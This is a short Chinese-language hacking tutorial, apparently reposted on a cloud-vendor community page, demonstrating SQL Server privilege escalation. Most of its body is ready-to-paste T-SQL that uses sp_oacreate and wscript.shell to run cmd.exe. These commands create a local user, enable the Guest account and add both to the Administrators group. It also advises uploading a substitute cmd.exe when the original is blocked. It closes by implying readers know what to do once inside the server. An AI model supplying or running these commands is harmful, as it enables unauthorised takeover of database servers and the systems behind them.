SQL提權演示

來源:互聯網
上載者:User

仲介交易 HTTP://www.aliyun.com/zixun/aggregation/6858.html">SEO診斷 淘寶客 雲主機 技術大廳

SQL提權演示

首先想給大家瞭解一下SQL提權常用命令:
driver={SQL Server};server=伺服器IP;uid=使用者名;pwd=密碼;database=資料庫名  --連接資料庫。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net user 新使用者 密碼 /add'  --添加新使用者。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net localgroup administrators 新使用者 /add'  --把使用者加到管理組

如果以上添加管理員失敗的時候,我們可以嘗試啟動Guest。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net user guest /active:yes'  --啟動GUEST使用者
。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net localgroup Administrators Guest /add'  --把Guest加到管理組

注意:如果c:\windows\system32\cmd.exe 被刪除,沒許可權訪問或者拒絕訪問的話,我們可以自己上傳個CMD上去,然後路徑修改我們上傳的CMD路徑就可以了。

下面給大家演示一下整個SQL提權的過程:

預設GUEST使用者密碼為空禁用狀態!

啟動GUEST使用者

啟動GUEST使用者成功,但是沒有許可權,所以我們繼續把GUEST這個使用者添加到管理組!

把Guest加到管理組

成功把GUEST加到了管理組,成功進入了伺服器!

進去後能做些什麼? 相信這個就不用我囉嗦了。

原始出處:HTTP://www.flhacker.cn
版權所有-轉載時必須以連結形式注明原始出處

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.